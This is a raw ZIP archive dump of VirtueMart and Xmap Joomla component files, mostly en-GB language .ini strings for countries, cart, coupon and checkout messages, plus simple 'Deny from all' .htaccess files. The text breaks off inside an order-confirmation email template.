      PKs>\6com_xmap/models/index.htmlnuW+APKs>\#o,,com_virtuemart/index.htmlnuW+APKs>\))com_virtuemart/vmfiles/invoices/.htaccessnuW+A Order allow,deny Deny from all PKs>\) com_virtuemart/vmfiles/.htaccessnuW+A Order allow,deny Deny from all PKs>\)'com_virtuemart/language/en-GB/.htaccessnuW+A Order allow,deny Deny from all PKs>\T3jj:com_virtuemart/language/en-GB/en-GB.com_virtuemart_log.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM COM_VIRTUEMART_LOG_FILENAME="File Name" COM_VIRTUEMART_LOG_FILESIZE="File Size" COM_VIRTUEMART_LOG_KB="Kb" COM_VIRTUEMART_LOG_FILEINFO="File Info"PKs>\RXDb)b)@com_virtuemart/language/en-GB/en-GB.com_virtuemart_countries.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_VIRTUEMART_COUNTRY_ID="Id" COM_VIRTUEMART_COUNTRY_ALA="Åland Islands" COM_VIRTUEMART_COUNTRY_AFG="Afghanistan" COM_VIRTUEMART_COUNTRY_ALB="Albania" COM_VIRTUEMART_COUNTRY_DZA="Algeria" COM_VIRTUEMART_COUNTRY_ASM="American Samoa" COM_VIRTUEMART_COUNTRY_AND="Andorra" COM_VIRTUEMART_COUNTRY_AGO="Angola" COM_VIRTUEMART_COUNTRY_AIA="Anguilla" COM_VIRTUEMART_COUNTRY_ATA="Antarctica" COM_VIRTUEMART_COUNTRY_ATG="Antigua and Barbuda" COM_VIRTUEMART_COUNTRY_ARG="Argentina" COM_VIRTUEMART_COUNTRY_ARM="Armenia" COM_VIRTUEMART_COUNTRY_ABW="Aruba" COM_VIRTUEMART_COUNTRY_ASC="Ascension" COM_VIRTUEMART_COUNTRY_AUS="Australia" COM_VIRTUEMART_COUNTRY_AUT="Austria" COM_VIRTUEMART_COUNTRY_AZE="Azerbaijan" COM_VIRTUEMART_COUNTRY_BHS="Bahamas" COM_VIRTUEMART_COUNTRY_BHR="Bahrain" COM_VIRTUEMART_COUNTRY_BGD="Bangladesh" COM_VIRTUEMART_COUNTRY_BRB="Barbados" COM_VIRTUEMART_COUNTRY_BLR="Belarus" COM_VIRTUEMART_COUNTRY_BEL="Belgium" COM_VIRTUEMART_COUNTRY_BLZ="Belize" COM_VIRTUEMART_COUNTRY_BEN="Benin" COM_VIRTUEMART_COUNTRY_BMU="Bermuda" COM_VIRTUEMART_COUNTRY_BTN="Bhutan" COM_VIRTUEMART_COUNTRY_BOL="Bolivia" COM_VIRTUEMART_COUNTRY_BES="Bonaire, Sint Eustatius and Saba" COM_VIRTUEMART_COUNTRY_BIH="Bosnia and Herzegovina" COM_VIRTUEMART_COUNTRY_BWA="Botswana" COM_VIRTUEMART_COUNTRY_BVT="Bouvet Island" COM_VIRTUEMART_COUNTRY_BRA="Brazil" COM_VIRTUEMART_COUNTRY_IOT="British Indian Ocean Territory" COM_VIRTUEMART_COUNTRY_BRN="Brunei Darussalam" COM_VIRTUEMART_COUNTRY_BGR="Bulgaria" COM_VIRTUEMART_COUNTRY_BFA="Burkina Faso" COM_VIRTUEMART_COUNTRY_BDI="Burundi" COM_VIRTUEMART_COUNTRY_KHM="Cambodia" COM_VIRTUEMART_COUNTRY_CMR="Cameroon" COM_VIRTUEMART_COUNTRY_CAN="Canada" COM_VIRTUEMART_COUNTRY_CPV="Cape Verde" COM_VIRTUEMART_COUNTRY_CYM="Cayman Islands" COM_VIRTUEMART_COUNTRY_CAF="Central African Republic" COM_VIRTUEMART_COUNTRY_TCD="Chad" COM_VIRTUEMART_COUNTRY_CHL="Chile" COM_VIRTUEMART_COUNTRY_CHN="China" COM_VIRTUEMART_COUNTRY_CXR="Christmas Island" COM_VIRTUEMART_COUNTRY_CCK="Cocos (Keeling) Islands" COM_VIRTUEMART_COUNTRY_COL="Colombia" COM_VIRTUEMART_COUNTRY_COM="Comoros" COM_VIRTUEMART_COUNTRY_COG="Congo" COM_VIRTUEMART_COUNTRY_COD="Congo, The Democratic Republic of the" COM_VIRTUEMART_COUNTRY_COK="Cook Islands" COM_VIRTUEMART_COUNTRY_CRI="Costa Rica" COM_VIRTUEMART_COUNTRY_CIV="Côte d'Ivoire" COM_VIRTUEMART_COUNTRY_HRV="Croatia" COM_VIRTUEMART_COUNTRY_CUB="Cuba" COM_VIRTUEMART_COUNTRY_CUW="Curaçao" COM_VIRTUEMART_COUNTRY_CYP="Cyprus" COM_VIRTUEMART_COUNTRY_CZE="Czech Republic" COM_VIRTUEMART_COUNTRY_DNK="Denmark" COM_VIRTUEMART_COUNTRY_DGA="Diego Garcia" COM_VIRTUEMART_COUNTRY_DJI="Djibouti" COM_VIRTUEMART_COUNTRY_DMA="Dominica" COM_VIRTUEMART_COUNTRY_DOM="Dominican Republic" COM_VIRTUEMART_COUNTRY_ECU="Ecuador" COM_VIRTUEMART_COUNTRY_EGY="Egypt" COM_VIRTUEMART_COUNTRY_SLV="El Salvador" COM_VIRTUEMART_COUNTRY_GNQ="Equatorial Guinea" COM_VIRTUEMART_COUNTRY_ERI="Eritrea" COM_VIRTUEMART_COUNTRY_EST="Estonia" COM_VIRTUEMART_COUNTRY_ETH="Ethiopia" COM_VIRTUEMART_COUNTRY_FLK="Falkland Islands (Malvinas)" COM_VIRTUEMART_COUNTRY_FRO="Faroe Islands" COM_VIRTUEMART_COUNTRY_FJI="Fiji" COM_VIRTUEMART_COUNTRY_FIN="Finland" COM_VIRTUEMART_COUNTRY_FRA="France" COM_VIRTUEMART_COUNTRY_GUF="French Guiana" COM_VIRTUEMART_COUNTRY_PYF="French Polynesia" COM_VIRTUEMART_COUNTRY_ATF="French Southern Territories" COM_VIRTUEMART_COUNTRY_GAB="Gabon" COM_VIRTUEMART_COUNTRY_GMB="Gambia" COM_VIRTUEMART_COUNTRY_GEO="Georgia" COM_VIRTUEMART_COUNTRY_DEU="Germany" COM_VIRTUEMART_COUNTRY_GHA="Ghana" COM_VIRTUEMART_COUNTRY_GIB="Gibraltar" COM_VIRTUEMART_COUNTRY_GRC="Greece" COM_VIRTUEMART_COUNTRY_GRL="Greenland" COM_VIRTUEMART_COUNTRY_GRD="Grenada" COM_VIRTUEMART_COUNTRY_GLP="Guadeloupe" COM_VIRTUEMART_COUNTRY_GUM="Guam" COM_VIRTUEMART_COUNTRY_GTM="Guatemala" COM_VIRTUEMART_COUNTRY_GGY="Guernsey" COM_VIRTUEMART_COUNTRY_GIN="Guinea" COM_VIRTUEMART_COUNTRY_GNB="Guinea-Bissau" COM_VIRTUEMART_COUNTRY_GUY="Guyana" COM_VIRTUEMART_COUNTRY_HTI="Haiti" COM_VIRTUEMART_COUNTRY_HMD="Heard and McDonald Islands" COM_VIRTUEMART_COUNTRY_HND="Honduras" COM_VIRTUEMART_COUNTRY_HKG="Hong Kong" COM_VIRTUEMART_COUNTRY_HUN="Hungary" COM_VIRTUEMART_COUNTRY_ISL="Iceland" COM_VIRTUEMART_COUNTRY_IND="India" COM_VIRTUEMART_COUNTRY_IDN="Indonesia" COM_VIRTUEMART_COUNTRY_IRN="Iran, Islamic Republic of" COM_VIRTUEMART_COUNTRY_IRQ="Iraq" COM_VIRTUEMART_COUNTRY_IRL="Ireland" COM_VIRTUEMART_COUNTRY_IMN="Isle Of Man" COM_VIRTUEMART_COUNTRY_ISR="Israel" COM_VIRTUEMART_COUNTRY_ITA="Italy" COM_VIRTUEMART_COUNTRY_JAM="Jamaica" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordan" COM_VIRTUEMART_COUNTRY_KAZ="Kazakhstan" COM_VIRTUEMART_COUNTRY_KEN="Kenya" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_PRK="Korea, Democratic People's Republic of" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republic of" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_KGZ="Kyrgyzstan" COM_VIRTUEMART_COUNTRY_LAO="Lao People's Democratic Republic" COM_VIRTUEMART_COUNTRY_LVA="Latvia" COM_VIRTUEMART_COUNTRY_LBN="Lebanon" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LBR="Liberia" COM_VIRTUEMART_COUNTRY_LBY="Libya" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein" COM_VIRTUEMART_COUNTRY_LTU="Lithuania" COM_VIRTUEMART_COUNTRY_LUX="Luxembourg" COM_VIRTUEMART_COUNTRY_MAC="Macau" COM_VIRTUEMART_COUNTRY_MKD="Macedonia, the former Yugoslav Republic of" COM_VIRTUEMART_COUNTRY_MDG="Madagascar" COM_VIRTUEMART_COUNTRY_MWI="Malawi" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Maldives" COM_VIRTUEMART_COUNTRY_MLI="Mali" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MHL="Marshall Islands" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauritania" COM_VIRTUEMART_COUNTRY_MUS="Mauritius" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MEX="Mexico" COM_VIRTUEMART_COUNTRY_FSM="Micronesia, Federated States of" COM_VIRTUEMART_COUNTRY_MDA="Moldova, Republic of" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolia" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MAR="Morocco" COM_VIRTUEMART_COUNTRY_MOZ="Mozambique" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NLD="Netherlands" COM_VIRTUEMART_COUNTRY_NCL="New Caledonia" COM_VIRTUEMART_COUNTRY_NZL="New Zealand" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_NFK="Norfolk Island" COM_VIRTUEMART_COUNTRY_MNP="Northern Mariana Islands" COM_VIRTUEMART_COUNTRY_NOR="Norway" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PSE="Palestinian Territory, Occupied" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua New Guinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippines" COM_VIRTUEMART_COUNTRY_PCN="Pitcairn" COM_VIRTUEMART_COUNTRY_POL="Poland" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_QAT="Qatar" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_ROU="Romania" COM_VIRTUEMART_COUNTRY_RUS="Russian Federation" COM_VIRTUEMART_COUNTRY_RWA="Rwanda" COM_VIRTUEMART_COUNTRY_BLM="Saint Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="Saint Helena" COM_VIRTUEMART_COUNTRY_KNA="Saint Kitts and Nevis" COM_VIRTUEMART_COUNTRY_LCA="Saint Lucia" COM_VIRTUEMART_COUNTRY_MAF="Saint Martin (French part)" COM_VIRTUEMART_COUNTRY_SPM="Saint Pierre and Miquelon" COM_VIRTUEMART_COUNTRY_VCT="Saint Vincent and the Grenadines" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="Sao Tome And Principe" COM_VIRTUEMART_COUNTRY_SAU="Saudi Arabia" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbia" COM_VIRTUEMART_COUNTRY_SYC="Seychelles" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone" COM_VIRTUEMART_COUNTRY_SGP="Singapore" COM_VIRTUEMART_COUNTRY_SXM="Sint Maarten (Dutch part)" COM_VIRTUEMART_COUNTRY_SVK="Slovakia" COM_VIRTUEMART_COUNTRY_SVN="Slovenia" COM_VIRTUEMART_COUNTRY_SLB="Solomon Islands" COM_VIRTUEMART_COUNTRY_SOM="Somalia" COM_VIRTUEMART_COUNTRY_ZAF="South Africa" COM_VIRTUEMART_COUNTRY_SGS="South Georgia and the South Sandwich Islands" COM_VIRTUEMART_COUNTRY_SSD="South Sudan" COM_VIRTUEMART_COUNTRY_ESP="Spain" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard and Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swaziland" COM_VIRTUEMART_COUNTRY_SWE="Sweden" COM_VIRTUEMART_COUNTRY_CHE="Switzerland" COM_VIRTUEMART_COUNTRY_SYR="Syrian Arab Republic" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TJK="Tajikistan" COM_VIRTUEMART_COUNTRY_TZA="Tanzania, United Republic of" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste" COM_VIRTUEMART_COUNTRY_TGO="Togo" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad and Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TUN="Tunisia" COM_VIRTUEMART_COUNTRY_TUR="Turkey" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks and Caicos Islands" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_ARE="United Arab Emirates" COM_VIRTUEMART_COUNTRY_GBR="United Kingdom" COM_VIRTUEMART_COUNTRY_USA="United States" COM_VIRTUEMART_COUNTRY_UMI="United States Minor Outlying Islands" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Uzbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatican City State (Holy See)" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_VNM="Viet Nam" COM_VIRTUEMART_COUNTRY_VGB="Virgin Islands, British" COM_VIRTUEMART_COUNTRY_VIR="Virgin Islands, U.S." COM_VIRTUEMART_COUNTRY_WLF="Wallis and Futuna" COM_VIRTUEMART_COUNTRY_ESH="Western Sahara" COM_VIRTUEMART_COUNTRY_YEM="Yemen" COM_VIRTUEMART_COUNTRY_ZMB="Zambia" COM_VIRTUEMART_COUNTRY_ZWE="Zimbabwe"PKs>\<}}6com_virtuemart/language/en-GB/en-GB.com_virtuemart.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; COM_VIRTUEMART_ACC_BILL_DEF="- Default (Same as Billing)" COM_VIRTUEMART_ACC_NO_ORDER="You have no existing orders" COM_VIRTUEMART_ADDTOCART_CHOOSE_VARIANT="Choose a product variant first" COM_VIRTUEMART_ALL="all" COM_VIRTUEMART_ASC="-/+" COM_VIRTUEMART_ASKQU_CS_MAX="Maximum characters for your question is reached" COM_VIRTUEMART_ASKQU_CS_MIN="Minimum characters for your question is not reached" COM_VIRTUEMART_ASK_COMMENT="Please write your question....(min. %s, max. %s characters)" COM_VIRTUEMART_ASK_COUNT="Characters written: " COM_VIRTUEMART_ASK_ERR_COMMENT1="Please write down some more words for your question. Minimum characters allowed: %s" COM_VIRTUEMART_ASK_ERR_COMMENT2="Please shorten your question. Maximum characters allowed: %s" COM_VIRTUEMART_ASK_QUESTION_THANK_YOU="Thank you for your Question. We will contact you as soon as possible." COM_VIRTUEMART_ASK_SUBMIT="Send your question" COM_VIRTUEMART_ASSIGN_VM_TO_MENU="Assign the component VirtueMart to a menu item" COM_VIRTUEMART_BACK_TO_ACCOUNT="Back to Account Details" COM_VIRTUEMART_BOX_CLOSE="close" COM_VIRTUEMART_BOX_CURRENT="product {current} of {total}" COM_VIRTUEMART_BOX_NEXT="next" COM_VIRTUEMART_BOX_PREVIOUS="previous" COM_VIRTUEMART_BUTTON_LOGOUT="Logout" COM_VIRTUEMART_CANCEL="Cancel" COM_VIRTUEMART_CART_ACTION="Update" COM_VIRTUEMART_CART_ACTIVE_ADMIN="Active administrator:" COM_VIRTUEMART_CART_ADD_TO="Add to Cart" COM_VIRTUEMART_CART_CHANGED_SHOPPER_SUCCESSFULLY="Shopper successfully changed to %1$s" COM_VIRTUEMART_CART_CHANGE_PAYMENT="Change Payment" COM_VIRTUEMART_CART_CHANGE_SHIPPING="Change Shipment" COM_VIRTUEMART_CART_CHANGE_SHOPPER="Change Shopper" COM_VIRTUEMART_CART_CHANGE_SHOPPER_NO_PERMISSIONS="No permissions to change shopper" COM_VIRTUEMART_CART_CHECKOUT_DATA_NOT_VALID="Invalid data entered" COM_VIRTUEMART_CART_CHECKOUT_DONE_CONFIRM_ORDER="Checkout done, please confirm the order" COM_VIRTUEMART_CART_COUPON_VALID="Discount Coupon successfully added" COM_VIRTUEMART_CART_DATA_NOT_VALID="Cart data not valid" COM_VIRTUEMART_CART_DELETE="Delete Product From Cart" COM_VIRTUEMART_CART_EDIT_COUPON="Edit coupon" COM_VIRTUEMART_CART_EDIT_PAYMENT="Select payment" COM_VIRTUEMART_CART_EDIT_SHIPPING="Select shipment" COM_VIRTUEMART_CART_ENTER_ADDRESS_FIRST="Please enter your address first" COM_VIRTUEMART_CART_ERROR_NO_NEGATIVE="Negative quantities are not allowed." COM_VIRTUEMART_CART_ERROR_NO_PRODUCT_IDS="Error while adding product in cart: no product ids" COM_VIRTUEMART_CART_ERROR_NO_VALID_QUANTITY="Please enter a valid quantity for this item." COM_VIRTUEMART_CART_FREE_SHIPPING="Shipment is free on this Order" COM_VIRTUEMART_CART_MAIL_FOOTER="mail footer message" COM_VIRTUEMART_CART_MAIL_SHOPPER_CONTENT="Dear %1$s,
      you bought and confirmed an order with a total of %3$s at %2$s,
      your order number is = %4$s
      and your order password = %5$s" COM_VIRTUEMART_CART_MAIL_SHOPPER_QUESTION="Your comment:
      %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_CONTENT="Hello %1$s,
      %2$s confirmed an order with a total of %3$s, his order_id = %4$s" COM_VIRTUEMART_CART_MAIL_VENDOR_SHOPPER_QUESTION="The shopper commented the order:
      %1$s" COM_VIRTUEMART_CART_MAIL_VENDOR_TITLE="Hello" COM_VIRTUEMART_CART_MAX_ORDER="The maximum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_ORDER="The minimum order level for this product is %d items." COM_VIRTUEMART_CART_MIN_PURCHASE="The minimum purchase value is %s." COM_VIRTUEMART_CART_NAME="Name" COM_VIRTUEMART_CART_NOTIFY="Notify Me" COM_VIRTUEMART_CART_NOTIFY_DESC="We regret to inform you that this product (%s) is either temporarily out of stock or not in stock in the desired quantity. Please submit your email address if you would like to be notified when new stock arrives for this product.

      Thank you!" COM_VIRTUEMART_CART_NOTIFY_MAIL_HTML="
      Thank you for your patience.

      Our %s is now in stock and can be purchased by following this link:
      %s

      This is a one time notice, you will not receive this e-mail again.
      " COM_VIRTUEMART_CART_NOTIFY_MAIL_RAW="Thank you for your patience.\r\n\r\nOur %s is now in stock and can be purchased by following this link:\r\n%s\r\n\r\nThis is a one time notice, you will not receive this e-mail again." COM_VIRTUEMART_CART_NOTIFY_MAIL_SUBJECT="Product Notification" COM_VIRTUEMART_CART_NO_PAYMENT_METHOD_PUBLIC="We are sorry, no payment method matches the characteristics of your order. Please %s." COM_VIRTUEMART_CART_NO_PAYMENT_SELECTED="No payment selected" COM_VIRTUEMART_CART_NO_PRODUCT="There are no products in your cart." COM_VIRTUEMART_CART_NO_SHIPMENT_SELECTED="No shipment selected" COM_VIRTUEMART_CART_NO_SHIPPINGRATE="No shipping rate could be selected, you may not have entered your address or the vendor/shipment does not support your location" COM_VIRTUEMART_CART_NO_SHIPPING_METHOD="No Shipment plugin installed or configured for this vendor, or no shipment method is defined for your shippping address." COM_VIRTUEMART_CART_NO_SHIPPING_METHOD_PUBLIC="We are sorry, no shipment method matches the characteristics of your order." COM_VIRTUEMART_CART_ONE_PRODUCT="1 product" COM_VIRTUEMART_CART_ONLY_REGISTERED="Please register to checkout" COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID="Order not completed, data is not valid" COM_VIRTUEMART_CART_ORDERDONE_THANK_YOU="Thank you for your order!" COM_VIRTUEMART_CART_OVERVIEW="Shopping cart" COM_VIRTUEMART_CART_PAYMENT="Payment" COM_VIRTUEMART_CART_PLEASE_ACCEPT_TOS="Please accept the terms of service to confirm" COM_VIRTUEMART_CART_PRICE="Price: " COM_VIRTUEMART_CART_PRICE_FREE="No additional charge" COM_VIRTUEMART_CART_PRICE_PER_UNIT="Price per Unit" COM_VIRTUEMART_CART_PRODUCT_ADDED="%2$s x %1$s was added to your cart." COM_VIRTUEMART_CART_PRODUCT_OUT_OF_QUANTITY="Max quantity reached, new quantity set to %s" COM_VIRTUEMART_CART_PRODUCT_OUT_OF_STOCK="Product out of stock" COM_VIRTUEMART_CART_PRODUCT_UPDATED="The product quantity has been updated." COM_VIRTUEMART_CART_QUANTITY="Quantity" COM_VIRTUEMART_CART_SELECTCOUPON="Select your coupon" COM_VIRTUEMART_CART_SELECTPAYMENT="Select payment method" COM_VIRTUEMART_CART_SELECTSHIPMENT="Select shipment" COM_VIRTUEMART_CART_SELECT_PAYMENT="Please select a payment method" COM_VIRTUEMART_CART_SELECT_SHIPMENT="Please select a shipment method" COM_VIRTUEMART_CART_SETPAYMENT_PLUGIN_FAILED="The payment plugin failed" COM_VIRTUEMART_CART_SHIPPING="Shipment" COM_VIRTUEMART_CART_SHOW="Show Cart" COM_VIRTUEMART_CART_SKU="SKU" COM_VIRTUEMART_CART_STEP_ORDER="You can buy this product only in steps of %d items." COM_VIRTUEMART_CART_SUBTOTAL="Subtotal" COM_VIRTUEMART_CART_SUBTOTAL_DISCOUNT_AMOUNT="Discount" COM_VIRTUEMART_CART_SUBTOTAL_TAX_AMOUNT="Tax" COM_VIRTUEMART_CART_THANKYOU="Thank you for your Order!" COM_VIRTUEMART_CART_TITLE="Cart" COM_VIRTUEMART_CART_TOS="Terms of service" COM_VIRTUEMART_CART_TOS_READ_AND_ACCEPTED="Click here to read terms of service and check the box to accept them." COM_VIRTUEMART_CART_TOTAL="Total" COM_VIRTUEMART_CART_TOTAL_PAYMENT="Total in Payment Currency" COM_VIRTUEMART_CART_UPDATE="Update Quantity In Cart" COM_VIRTUEMART_CART_X_PRODUCTS="%s products" COM_VIRTUEMART_CATEGORIES="Categories" COM_VIRTUEMART_CATEGORIES_RELATED_SEARCH="Search" COM_VIRTUEMART_CATEGORY="Category" COM_VIRTUEMART_CATEGORY_BACK_TO="Back to: %s" COM_VIRTUEMART_CATEGORY_DESCRIPTION="Category Description" COM_VIRTUEMART_CATEGORY_ID="Category Id" COM_VIRTUEMART_CATEGORY_NAME="Category" COM_VIRTUEMART_CATEGORY_NOT_FOUND="Category not found" COM_VIRTUEMART_CATEGORY_TOP_LEVEL="Top Category" COM_VIRTUEMART_CAT_NOT_PUBL="Category %1$s id %2$s not published" COM_VIRTUEMART_CHECKOUT_AS_GUEST="Checkout as Guest" COM_VIRTUEMART_CHECKOUT_PLEASE_ENTER_ADDRESS="Please enter your billto address" COM_VIRTUEMART_CHECKOUT_TITLE="Check Out Now" COM_VIRTUEMART_CLOSE="Close" COM_VIRTUEMART_COMMENT="Please write your recommendation....(min. %s, max. %s characters)" COM_VIRTUEMART_COMMENT_CART="Notes and special requests" COM_VIRTUEMART_COMMENT_MIN_MAX_JS="Please min. %s, max. %s characters" COM_VIRTUEMART_COMMENT_NOT_VALID_JS="Some Fields are invalid, please verify your inputs" COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED="No Shop Currency defined! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED="Currency is not formatted! Contact the administrator, if you are one go to %s" COM_VIRTUEMART_CONTINUE_SHOPPING="Continue Shopping" COM_VIRTUEMART_COUPON_CODE_CHANGE="Change your Coupon code" COM_VIRTUEMART_COUPON_CODE_ENTER="Enter your Coupon code" COM_VIRTUEMART_COUPON_CODE_EXPIRED="This coupon is expired" COM_VIRTUEMART_COUPON_CODE_INVALID="Coupon code not found. Please try again." COM_VIRTUEMART_COUPON_CODE_NOTYET="Coupon is not yet active, it can be used after " COM_VIRTUEMART_COUPON_CODE_TOOLOW="This coupon is valid for an order with a minimum of" COM_VIRTUEMART_COUPON_DISCOUNT="Coupon Discount" COM_VIRTUEMART_COUPON_ENTER_HERE="If you have a coupon code, please enter it below:" COM_VIRTUEMART_CREATED_ON="Creation Date" COM_VIRTUEMART_CREDIT_CARD_INVALID_EXPIRE_DATE="Credit Card has expired" COM_VIRTUEMART_CREDIT_CARD_INVALID_FORMAT="Credit card number has in invalid format" COM_VIRTUEMART_CREDIT_CARD_INVALID_NUMBER="Credit card number is invalid" COM_VIRTUEMART_CREDIT_CARD_NO_NUMBER="No card number provided" COM_VIRTUEMART_CREDIT_CARD_UNKNOWN_TYPE="Unknown card type" COM_VIRTUEMART_CREDIT_CARD_WRONG_DIGIT="Credit card number has an inappropriate number of digits" COM_VIRTUEMART_CURRENCY="Currency" COM_VIRTUEMART_CUSTOMER_RATING="Average customer rating" COM_VIRTUEMART_DATE="Date" COM_VIRTUEMART_DATE_FORMAT_INPUT_JS="y.mm.dd" ; THis is not valid joomla 1.7 !!! COM_VIRTUEMART_DATE_FORMAT_LC="%A, %d %B %Y" ; Date joomla 1.5 >1.6 format changed %d is d now COM_VIRTUEMART_DATE_FORMAT_INPUT="%y.%m.%d" COM_VIRTUEMART_DATE_FORMAT_INPUT_J16="y.m.d" COM_VIRTUEMART_DEAR="Dear " COM_VIRTUEMART_DELIVERYNOTE="Delivery Note" COM_VIRTUEMART_DESC=" +/-" COM_VIRTUEMART_DESCRIPTION="Welcome to" COM_VIRTUEMART_DISABLED="Disabled" COM_VIRTUEMART_DISABLE_ITEM="Disable Item" COM_VIRTUEMART_DISPLAYED_NAME="Displayed name:" COM_VIRTUEMART_EMAIL="Email" COM_VIRTUEMART_EMPTY_CART="Cart empty" COM_VIRTUEMART_ENABLED="Enabled" COM_VIRTUEMART_ENABLE_ITEM="Enable item" COM_VIRTUEMART_ENTERED_ADDRESS="Entered address" COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS="Please enter a valid email address" COM_VIRTUEMART_FEATURED_PRODUCT="Featured Products" COM_VIRTUEMART_FEED_READMORE="Read more" COM_VIRTUEMART_FILES_FILE_DELETE_FAILURE="Could not delete the File." COM_VIRTUEMART_FILES_FILE_DELETE_SUCCESS="File successfully deleted." COM_VIRTUEMART_FREE_SHIPPING_AMOUNT="Minimum Amount for Free Shipment" COM_VIRTUEMART_HI="Hello" COM_VIRTUEMART_HINAME="Hello %s" COM_VIRTUEMART_HOME="Welcome to %1$s" COM_VIRTUEMART_I_AGREE_TO_TOS="I agree to the Terms of Service" COM_VIRTUEMART_LAST_UPDATED="Last Updated" COM_VIRTUEMART_LATEST_PRODUCT="Latest Products" COM_VIRTUEMART_LINK_ACTIVATE_ACCOUNT="Please use this link to activate your account" COM_VIRTUEMART_LIST_EMPTY_OPTION="-- Select --" COM_VIRTUEMART_LOGIN="Login" COM_VIRTUEMART_LOW_STOCK_NOTIFICATION="Stock" COM_VIRTUEMART_MAIL_FOOTER="Thank you for purchasing at " COM_VIRTUEMART_MAIL_NOT_SEND_SUCCESSFULLY="Mail not sent successfully" COM_VIRTUEMART_MAIL_ORDER_STATUS="Your order status is: %s" COM_VIRTUEMART_MAIL_SEND_SUCCESSFULLY="Mail sent successfully" COM_VIRTUEMART_MAIL_SHOPPER_CONTENT="your order password = %5$s" COM_VIRTUEMART_MAIL_SHOPPER_NAME="Hello %1$s," COM_VIRTUEMART_MAIL_SHOPPER_QUESTION="Your comment:
      %1$s" COM_VIRTUEMART_MAIL_SHOPPER_SUMMARY="

      Order confirmed

